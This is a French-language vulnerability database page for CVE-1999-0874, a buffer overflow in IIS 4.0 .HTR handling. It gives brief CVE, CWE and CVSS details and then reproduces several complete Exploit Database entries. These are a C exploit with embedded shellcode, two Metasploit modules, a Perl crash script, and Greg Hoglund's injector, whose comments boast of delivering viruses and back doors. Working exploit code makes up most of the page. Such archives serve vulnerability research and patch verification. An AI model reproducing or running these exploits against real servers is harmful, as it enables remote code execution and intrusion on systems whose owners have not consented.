CVE-1999-0874 : Détail

CVE-1999-0874

Overflow
85.13%V4
Network
2000-06-02
02h00 +00:00
2024-08-01
16h55 +00:00
CVE.org
NVD
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Descriptions du CVE

Buffer overflow in IIS 4.0 allows remote attackers to cause a denial of service via a malformed request for files with .HTR, .IDC, or .STM extensions.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-119 Improper Restriction of Operations within the Bounds of a Memory Buffer
The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 10 AV:N/AC:L/Au:N/C:C/I:C/A:C nvd@nist.gov

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 19247

Date de publication : 1999-06-14 22h00 +00:00
Auteur : eeye security
EDB Vérifié : Yes

// source: https://www.securityfocus.com/bid/307/info Microsoft IIS reported prone to a buffer overflow vulnerability in the way IIS handles requests for several file types that require server side processing. This vulnerability may allow a remote attacker to execute arbitrary code on the target machine. IIS supports a number of file extensions that require futher processing. When a request is made for one of these types of files a specific DLL processes it. A stack buffer overflow vulnerability exists in several of these DLL's while handling .HTR, .STM or .IDC extensions. /* iis 4.0 exploit * by eeye security * * ported to unix/C by the teso crew. * * shoutouts to #hax and everyone else knowing us... * you know who you are. * * gcc -o tesoiis tesoiis.c -Wall */ #include <sys/types.h> #include <sys/ioctl.h> #include <sys/socket.h> #include <sys/time.h> #include <arpa/inet.h> #include <netdb.h> #include <net/if.h> #include <netinet/in.h> #include <errno.h> #include <fcntl.h> #include <stdarg.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> int net_connect (struct sockaddr_in *cs, char *server, unsigned short int port, char *sourceip, unsigned short int sourceport, int sec); void net_write (int fd, const char *str, ...); unsigned long int net_resolve (char *host); char stuff[] = "\x42\x68\x66\x75\x41\x50"; /* "!GET /" */ #define URL_OFFSET 1055 char front[] = "GET /AAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "\x41\x41\x41\x41\x41\x41\xb0\x87\x67\x68\xb0\x87" "\x67\x68\x90\x90\x90\x90\x58\x58\x90\x33\xc0\x50" "\x5b\x53\x59\x8b\xde\x66\xb8\x21\x02\x03\xd8\x32" "\xc0\xd7\x2c\x21\x88\x03\x4b\x3c\xde\x75\xf4\x43" "\x43\xba\xd0\x10\x67\x68\x52\x51\x53\xff\x12\x8b" "\xf0\x8b\xf9\xfc\x59\xb1\x06\x90\x5a\x43\x32\xc0" "\xd7\x50\x58\x84\xc0\x50\x58\x75\xf4\x43\x52\x51" "\x53\x56\xb2\x54\xff\x12\xab\x59\x5a\xe2\xe6\x43" "\x32\xc0\xd7\x50\x58\x84\xc0\x50\x58\x75\xf4\x43" "\x52\x53\xff\x12\x8b\xf0\x5a\x33\xc9\x50\x58\xb1" "\x05\x43\x32\xc0\xd7\x50\x58\x84\xc0\x50\x58\x75" "\xf4\x43\x52\x51\x53\x56\xb2\x54\xff\x12\xab\x59" "\x5a\xe2\xe6\x33\xc0\x50\x40\x50\x40\x50\xff\x57" "\xf4\x89\x47\xcc\x33\xc0\x50\x50\xb0\x02\x66\xab" "\x58\xb4\x50\x66\xab\x58\xab\xab\xab\xb1\x21\x90" "\x66\x83\xc3\x16\x8b\xf3\x43\x32\xc0\xd7\x3a\xc8" "\x75\xf8\x32\xc0\x88\x03\x56\xff\x57\xec\x90\x66" "\x83\xef\x10\x92\x8b\x52\x0c\x8b\x12\x8b\x12\x92" "\x8b\xd7\x89\x42\x04\x52\x6a\x10\x52\xff\x77\xcc" "\xff\x57\xf8\x5a\x66\x83\xee\x08\x56\x43\x8b\xf3" "\xfc\xac\x84\xc0\x75\xfb\x41\x4e\xc7\x06\x8d\x8a" "\x8d\x8a\x81\x36\x80\x80\x80\x80\x33\xc0\x50\x50" "\x6a\x48\x53\xff\x77\xcc\xff\x57\xf0\x58\x5b\x8b" "\xd0\x66\xb8\xff\x0f\x50\x52\x50\x52\xff\x57\xe8" "\x8b\xf0\x58\x90\x90\x90\x90\x50\x53\xff\x57\xd4" "\x8b\xe8\x33\xc0\x5a\x52\x50\x52\x56\xff\x77\xcc" "\xff\x57\xec\x80\xfc\xff\x74\x0f\x50\x56\x55\xff" "\x57\xd8\x80\xfc\xff\x74\x04\x85\xc0\x75\xdf\x55" "\xff\x57\xdc\x33\xc0\x40\x50\x53\xff\x57\xe4\x90" "\x90\x90\x90\xff\x6c\x66\x73\x6f\x66\x6d\x54\x53" "\x21\x80\x8d\x84\x93\x86\x82\x95\x21\x80\x8d\x98" "\x93\x8a\x95\x86\x21\x80\x8d\x84\x8d\x90\x94\x86" "\x21\x80\x8d\x90\x91\x86\x8f\x21\x78\x8a\x8f\x66" "\x99\x86\x84\x21\x68\x8d\x90\x83\x82\x8d\x62\x8d" "\x8d\x90\x84\x21\x78\x74\x70\x64\x6c\x54\x53\x21" "\x93\x86\x84\x97\x21\x94\x86\x8f\x85\x21\x94\x90" "\x84\x8c\x86\x95\x21\x84\x90\x8f\x8f\x86\x84\x95" "\x21\x88\x86\x95\x89\x90\x94\x95\x83\x9a\x8f\x82" "\x8e\x86\x21\x90\x98\x8f\x4f\x86\x99\x86\x21" /* stick it in here */ "\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21" "\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21" "\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21" "\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21" "\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21" "\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21" "\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21" "\x21\x21\x21" ".htr HTTP/1.0"; void usage (void) { printf ("usage: ./tesoiis host port url\n"); exit (EXIT_FAILURE); } int main (int argc, char *argv[]) { /* yadda,yadda.. you can try exploiting our exploit!! * update: hmm.. is this exploitable? gets EIP touched by exit()? * gotta check this later... */ char host[256], url[256]; int port,sd,t = 0; int m = 0; char *cc, *pfft; struct sockaddr_in cs; printf ("teso crew IIS exploit.. shellcode by eEye.\n"); printf ("------------------------------------------\n"); if (argc < 4) usage(); strcpy (host, argv[1]); strcpy (url, argv[3]); port = atoi (argv[2]); if ((port < 1) || (port > 65535)) usage(); cc = url; pfft = front + URL_OFFSET; while (*cc) { if (*cc == '/' && 0 == t) { memcpy (pfft, stuff, 6); pfft += 6; t = 1; } else { *pfft = *cc + 0x21; pfft++; } cc++; m += 1; } printf ("Host: %s Port: %d Url: %s\n", host, port, url); printf ("Connecting... "); fflush (stdout); sd = net_connect (&cs, host, port, NULL, 0, 30); if (sd < 1) { printf ("failed!\n"); exit (EXIT_FAILURE); } printf ("done.. sending shellcode.."); fflush (stdout); net_write (sd, "%s\n\n", front); printf ("done.. closing fd!\n"); close (sd); printf ("%s\n", front); exit (EXIT_SUCCESS); } int net_connect (struct sockaddr_in *cs, char *server, unsigned short int port, char *sourceip, unsigned short int sourceport, int sec) { int n, len, error, flags; int fd; struct timeval tv; fd_set rset, wset; /* first allocate a socket */ cs->sin_family = AF_INET; cs->sin_port = htons (port); fd = socket (cs->sin_family, SOCK_STREAM, 0); if (fd == -1) return (-1); if (!(cs->sin_addr.s_addr = net_resolve (server))) { close (fd); return (-1); } flags = fcntl (fd, F_GETFL, 0); if (flags == -1) { close (fd); return (-1); } n = fcntl (fd, F_SETFL, flags | O_NONBLOCK); if (n == -1) { close (fd); return (-1); } error = 0; n = connect (fd, (struct sockaddr *) cs, sizeof (struct sockaddr_in)); if (n < 0) { if (errno != EINPROGRESS) { close (fd); return (-1); } } if (n == 0) goto done; FD_ZERO(&rset); FD_ZERO(&wset); FD_SET(fd, &rset); FD_SET(fd, &wset); tv.tv_sec = sec; tv.tv_usec = 0; n = select(fd + 1, &rset, &wset, NULL, &tv); if (n == 0) { close(fd); errno = ETIMEDOUT; return (-1); } if (n == -1) return (-1); if (FD_ISSET(fd, &rset) || FD_ISSET(fd, &wset)) { if (FD_ISSET(fd, &rset) && FD_ISSET(fd, &wset)) { len = sizeof(error); if (getsockopt(fd, SOL_SOCKET, SO_ERROR, &error, &len) < 0) { errno = ETIMEDOUT; return (-1); } if (error == 0) { goto done; } else { errno = error; return (-1); } } } else return (-1); done: n = fcntl(fd, F_SETFL, flags); if (n == -1) return (-1); return (fd); } unsigned long int net_resolve (char *host) { long i; struct hostent *he; i = inet_addr(host); if (i == -1) { he = gethostbyname(host); if (he == NULL) { return (0); } else { return (*(unsigned long *) he->h_addr); } } return (i); } void net_write (int fd, const char *str, ...) { char tmp[8192]; va_list vl; int i; va_start(vl, str); memset(tmp, 0, sizeof(tmp)); i = vsnprintf(tmp, sizeof(tmp), str, vl); va_end(vl); send(fd, tmp, i, 0); return; }
Exploit Database EDB-ID : 16468

Date de publication : 2010-04-29 22h00 +00:00
Auteur : Metasploit
EDB Vérifié : Yes

## # $Id: ms02_018_htr.rb 9179 2010-04-30 08:40:19Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::Tcp def initialize(info = {}) super(update_info(info, 'Name' => 'Microsoft IIS 4.0 .HTR Path Overflow', 'Description' => %q{ This exploits a buffer overflow in the ISAPI ISM.DLL used to process HTR scripting in IIS 4.0. This module works against Windows NT 4 Service Packs 3, 4, and 5. The server will continue to process requests until the payload being executed has exited. If you've set EXITFUNC to 'seh', the server will continue processing requests, but you will have trouble terminating a bind shell. If you set EXITFUNC to thread, the server will crash upon exit of the bind shell. The payload is alpha-numerically encoded without a NOP sled because otherwise the data gets mangled by the filters. }, 'Author' => [ 'stinko' ], 'License' => BSD_LICENSE, 'Version' => '$Revision: 9179 $', 'References' => [ [ 'CVE', '1999-0874'], [ 'OSVDB', '3325'], [ 'BID', '307'], [ 'URL', 'http://www.eeye.com/html/research/advisories/AD19990608.html'], [ 'MSB', 'MS02-018'], ], 'Privileged' => true, 'Payload' => { 'Space' => 2048, 'BadChars' => Rex::Text.charset_exclude(Rex::Text::AlphaNumeric), 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets' => [ ['Windows NT 4.0 SP3', {'Platform' => 'win', 'Rets' => [ 593, 0x77f81a4d ] }], ['Windows NT 4.0 SP4', {'Platform' => 'win', 'Rets' => [ 593, 0x77f7635d ] }], ['Windows NT 4.0 SP5', {'Platform' => 'win', 'Rets' => [ 589, 0x77f76385 ] }], ], 'DisclosureDate' => 'Apr 10 2002', 'DefaultTarget' => 0)) register_options( [ Opt::RPORT(80) ], self.class) end def exploit connect buf = 'X' * target['Rets'][0] buf << [ target['Rets'][1] ].pack('V') buf << payload.encoded req = "GET /#{buf}.htr HTTP/1.0\r\n\r\n" print_status("Trying target #{target.name} with jmp eax at 0x%.8x..." % target['Rets'][1]) sock.put(req) handler disconnect end end
Exploit Database EDB-ID : 19245

Date de publication : 1999-06-14 22h00 +00:00
Auteur : eEye Digital Security Team
EDB Vérifié : Yes

source: https://www.securityfocus.com/bid/307/info Microsoft IIS reported prone to a buffer overflow vulnerability in the way IIS handles requests for several file types that require server side processing. This vulnerability may allow a remote attacker to execute arbitrary code on the target machine. IIS supports a number of file extensions that require futher processing. When a request is made for one of these types of files a specific DLL processes it. A stack buffer overflow vulnerability exists in several of these DLL's while handling .HTR, .STM or .IDC extensions. Use the following script to test your site: #!/usr/bin/perl use LWP::Simple; for ($i = 2500; $i <= 3500; $i++) { warn "$i\n"; get "http://$ARGV[0]/".('a' x $i).".htr"; } https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/19245.exe
Exploit Database EDB-ID : 19246

Date de publication : 1999-06-14 22h00 +00:00
Auteur : Stinko
EDB Vérifié : Yes

source: https://www.securityfocus.com/bid/307/info Microsoft IIS reported prone to a buffer overflow vulnerability in the way IIS handles requests for several file types that require server side processing. This vulnerability may allow a remote attacker to execute arbitrary code on the target machine. IIS supports a number of file extensions that require futher processing. When a request is made for one of these types of files a specific DLL processes it. A stack buffer overflow vulnerability exists in several of these DLL's while handling .HTR, .STM or .IDC extensions. ## # This file is part of the Metasploit Framework and may be redistributed # according to the licenses defined in the Authors field below. In the # case of an unknown or missing license, this file defaults to the same # license as the core Framework (dual GPLv2 and Artistic). The latest # version of the Framework can always be obtained from metasploit.com. ## package Msf::Exploit::iis40_htr; use base "Msf::Exploit"; use strict; use Pex::Text; my $advanced = { }; my $info = { 'Name' => 'IIS 4.0 .HTR Buffer Overflow', 'Version' => '$Revision: 1.4 $', 'Authors' => [ 'Stinko', ], 'Arch' => [ 'x86' ], 'OS' => [ 'win32' ], 'Priv' => 0, 'UserOpts' => { 'RHOST' => [1, 'ADDR', 'The target address'], 'RPORT' => [1, 'PORT', 'The target port', 80], 'SSL' => [0, 'BOOL', 'Use SSL'], }, 'Payload' => { 'Space' => 2048, 'MaxNops' => 0, 'MinNops' => 0, 'BadChars' => join("", map { $_=chr($_) } (0x00 .. 0x2f)). join("", map { $_=chr($_) } (0x3a .. 0x40)). join("", map { $_=chr($_) } (0x5b .. 0x60)). join("", map { $_=chr($_) } (0x7b .. 0xff)), }, 'Description' => Pex::Text::Freeform(qq{ This exploits a buffer overflow in the ISAPI ISM.DLL used to process HTR scripting in IIS 4.0. This module works against Windows NT 4 Service Packs 3, 4, and 5. The server will continue to process requests until the payload being executed has exited. If you've set EXITFUNC to 'seh', the server will continue processing requests, but you will have trouble terminating a bind shell. If you set EXITFUNC to thread, the server will crash upon exit of the bind shell. The payload is alpha-numerically encoded without a NOP sled because otherwise the data gets mangled by the filters. }), 'Refs' => [ ['OSVDB', 3325], ['BID', 307], ['CVE', '1999-0874'], ['URL', 'http://www.eeye.com/html/research/advisories/AD19990608.html'], ], 'DefaultTarget' => 0, 'Targets' => [ ['Windows NT4 SP3', 593, 0x77f81a4d], ['Windows NT4 SP4', 593, 0x77f7635d], ['Windows NT4 SP5', 589, 0x77f76385], ], 'Keys' => ['iis'], }; sub new { my $class = shift; my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_); return($self); } sub Exploit { my $self = shift; my $target_host = $self->GetVar('RHOST'); my $target_port = $self->GetVar('RPORT'); my $target_idx = $self->GetVar('TARGET'); my $shellcode = $self->GetVar('EncodedPayload')->Payload; my $target = $self->Targets->[$target_idx]; my $pattern = ("X" x $target->[1]); $pattern .= pack("V", $target->[2]); $pattern .= $shellcode; my $request = "GET /" . $pattern . ".htr HTTP/1.0\r\n\r\n"; $self->PrintLine(sprintf ("[*] Trying ".$target->[0]." using jmp eax at 0x%.8x...", $target->[2])); my $s = Msf::Socket::Tcp->new ( 'PeerAddr' => $target_host, 'PeerPort' => $target_port, 'LocalPort' => $self->GetVar('CPORT'), 'SSL' => $self->GetVar('SSL'), ); if ($s->IsError) { $self->PrintLine('[*] Error creating socket: ' . $s->GetError); return; } $s->Send($request); $s->Close(); return; }
Exploit Database EDB-ID : 19248

Date de publication : 1999-06-14 22h00 +00:00
Auteur : Greg Hoglund
EDB Vérifié : Yes

// source: https://www.securityfocus.com/bid/307/info Microsoft IIS reported prone to a buffer overflow vulnerability in the way IIS handles requests for several file types that require server side processing. This vulnerability may allow a remote attacker to execute arbitrary code on the target machine. IIS supports a number of file extensions that require futher processing. When a request is made for one of these types of files a specific DLL processes it. A stack buffer overflow vulnerability exists in several of these DLL's while handling .HTR, .STM or .IDC extensions. // IIS Injector for NT // written by Greg Hoglund <hoglund@ieway.com> // http://www.rootkit.com // // If you would like to deliver a payload, it must be stored in a binary file. // This injector decouples the payload from the injection code allowing you to // create a numnber of different attack payloads. This code could be used, for // example, by a military that needs to attack IIS servers, and has characterized // the eligible hosts. The proper attack can be chosen depending on needs. Since // the payload is so large with this injection vector, many options are available. // First and foremost, virii can delivered with ease. The payload is also plenty // large enough to remotely download and install a back door program. // Considering the monoculture of NT IIS servers out on the 'Net, this represents a // very serious security problem. #include <windows.h> #include <stdio.h> #include <winsock.h> void main(int argc, char **argv) { SOCKET s = 0; WSADATA wsaData; if(argc < 2) { fprintf(stderr, "IIS Injector for NT\nwritten by Greg Hoglund, " \ "http://www.rootkit.com\nUsage: %s <target" \ "ip> <optional payload file>\n", argv[0]); exit(0); } WSAStartup(MAKEWORD(2,0), &wsaData); s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if(INVALID_SOCKET != s) { SOCKADDR_IN anAddr; anAddr.sin_family = AF_INET; anAddr.sin_port = htons(80); anAddr.sin_addr.S_un.S_addr = inet_addr(argv[1]); if(0 == connect(s, (struct sockaddr *)&anAddr, sizeof(struct sockaddr))) { static char theSploit[4096]; // fill pattern char kick = 'z'; //0x7a char place = 'A'; // my uber sweet pattern gener@t0r for(int i=0;i<4096;i+=4) { theSploit[i] = kick; theSploit[i+1] = place; theSploit[i+2] = place + 1; theSploit[i+3] = place + 2; if(++place == 'Y') // beyond 'XYZ' { place = 'A'; if(--kick < 'a') kick = 'a'; } } _snprintf(theSploit, 5, "get /"); _snprintf(theSploit + 3005, 22, "BBBB.htr HTTP/1.0\r\n\r\n\0"); // after crash, looks like inetinfo.exe is jumping to the address // stored @ location 'GHtG' (0x47744847) // cross reference back to the buffer pattern, looks like we need // to store our EIP into theSploit[598] // magic eip into NTDLL.DLL theSploit[598] = (char)0xF0; theSploit[599] = (char)0x8C; theSploit[600] = (char)0xF8; theSploit[601] = (char)0x77; // code I want to execute // will jump foward over the // embedded eip, taking us // directly to the payload theSploit[594] = (char)0x90; //nop theSploit[595] = (char)0xEB; //jmp theSploit[596] = (char)0x35; // theSploit[597] = (char)0x90; //nop // the payload. This code is executed remotely. // if no payload is supplied on stdin, then this default // payload is used. int 3 is the debug interrupt and // will cause your debugger to "breakpoint" gracefully. // upon examiniation you will find that you are sitting // directly in this code-payload. if(argc < 3) { theSploit[650] = (char) 0x90; //nop theSploit[651] = (char) 0x90; //nop theSploit[652] = (char) 0x90; //nop theSploit[653] = (char) 0x90; //nop theSploit[654] = (char) 0xCC; //int 3 theSploit[655] = (char) 0xCC; //int 3 theSploit[656] = (char) 0xCC; //int 3 theSploit[657] = (char) 0xCC; //int 3 theSploit[658] = (char) 0x90; //nop theSploit[659] = (char) 0x90; //nop theSploit[660] = (char) 0x90; //nop theSploit[661] = (char) 0x90; //nop } else { // send the user-supplied payload from // a file. Yes, that's a 2K buffer for // mobile code. Yes, that's big. FILE *in_file; in_file = fopen(argv[2], "rb"); if(in_file) { int offset = 650; while( (!feof(in_file)) && (offset < 3000)) { theSploit[offset++] = fgetc(in_file); } fclose(in_file); } } send(s, theSploit, strlen(theSploit), 0); } closesocket(s); } }

Products Mentioned

Configuraton 0

Microsoft>>Internet_information_server >> Version 4.0

Configuraton 0

Microsoft>>Windows_2000 >> Version *

Microsoft>>Windows_nt >> Version *

Microsoft>>Windows_nt >> Version 4.0

Références

http://www.eeye.com/html/Research/Advisories/AD06081999.html
Tags : third-party-advisory, x_refsource_EEYE
http://www.ciac.org/ciac/bulletins/j-048.shtml
Tags : third-party-advisory, government-resource, x_refsource_CIAC
Les informations affichées sur CVE Find proviennent de plusieurs sources de référence rigoureusement sélectionnées. Les données CVE sont fournies par MITRE Corporation et la National Vulnerability Database (NVD). Le catalogue des vulnérabilités activement exploitées (KEV) provient de la Cybersecurity and Infrastructure Security Agency (CISA), tandis que les scores EPSS sont issus de FIRST.org. Enfin, les données relatives aux faiblesses logicielles (CWE) et aux schémas d'attaque courants (CAPEC) sont maintenues par MITRE Corporation, et les informations sur les configurations logicielles et matérielles (CPE) proviennent du NVD.